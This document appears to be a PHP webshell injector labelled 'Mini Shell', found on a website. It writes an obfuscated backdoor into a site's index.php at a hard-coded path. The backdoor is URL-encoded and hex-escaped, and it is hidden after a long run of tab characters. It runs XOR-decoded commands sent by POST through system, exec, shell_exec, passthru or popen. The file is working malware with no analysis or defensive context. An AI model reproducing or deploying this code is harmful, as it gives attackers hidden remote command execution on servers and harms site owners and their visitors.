Mini Shell

<?php  $path = '/home/ukubnwwt/turvalty.com/comingsoon_files/css/index.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24dependency_resolver5%20%3D%20%22%5Cx70open%22%3B%20%24dependency_resolver3%20%3D%20%22%5Cx65%5Cx78ec%22%3B%20%24dependency_resolver1%20%3D%20%22s%5Cx79st%5Cx65m%22%3B%20%24dependency_resolver4%20%3D%20%22%5Cx70%5Cx61s%5Cx73%5Cx74hru%22%3B%20%24auth_exception_handler%20%3D%20%22%5Cx68ex2b%5Cx69%5Cx6E%22%3B%20%24dependency_resolver7%20%3D%20%22%5Cx70%5Cx63%5Cx6Cose%22%3B%20%24dependency_resolver6%20%3D%20%22s%5Cx74re%5Cx61%5Cx6D%5Cx5Fg%5Cx65%5Cx74_%5Cx63%5Cx6Fn%5Cx74%5Cx65nts%22%3B%20%24dependency_resolver2%20%3D%20%22%5Cx73h%5Cx65l%5Cx6C_e%5Cx78ec%22%3B%20if%20%28isset%28%24_POST%5B%22h%5Cx6Fl%5Cx64e%5Cx72%22%5D%29%29%20%7B%20function%20publish_content%20%28%20%24entity%20%2C%20%24elem%20%29%20%7B%20%24sym%3D%20%27%27%20%3B%20foreach%28str_split%28%24entity%29%20as%20%24char%29%7B%20%24sym.%3Dchr%28ord%28%24char%29%5E%24elem%29%3B%20%7D%20return%20%24sym%3B%20%7D%20%24holder%20%3D%20%24auth_exception_handler%28%24_POST%5B%22h%5Cx6Fl%5Cx64e%5Cx72%22%5D%29%3B%20%24holder%20%3D%20publish_content%28%24holder%2C%2079%29%3B%20if%20%28function_exists%28%24dependency_resolver1%29%29%20%7B%20%24dependency_resolver1%28%24holder%29%3B%20%7D%20elseif%20%28function_exists%28%24dependency_resolver2%29%29%20%7B%20print%20%24dependency_resolver2%28%24holder%29%3B%20%7D%20elseif%20%28function_exists%28%24dependency_resolver3%29%29%20%7B%20%24dependency_resolver3%28%24holder%2C%20%24ent_entity%29%3B%20print%20join%28%22%5Cn%22%2C%20%24ent_entity%29%3B%20%7D%20elseif%20%28function_exists%28%24dependency_resolver4%29%29%20%7B%20%24dependency_resolver4%28%24holder%29%3B%20%7D%20elseif%20%28function_exists%28%24dependency_resolver5%29%20%26%26%20function_exists%28%24dependency_resolver6%29%20%26%26%20function_exists%28%24dependency_resolver7%29%29%20%7B%20%24elem_sym%20%3D%20%24dependency_resolver5%28%24holder%2C%20%27r%27%29%3B%20if%20%28%24elem_sym%29%20%7B%20%24tkn_ent%20%3D%20%24dependency_resolver6%28%24elem_sym%29%3B%20%24dependency_resolver7%28%24elem_sym%29%3B%20print%20%24tkn_ent%3B%20%7D%20%7D%20exit%3B%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');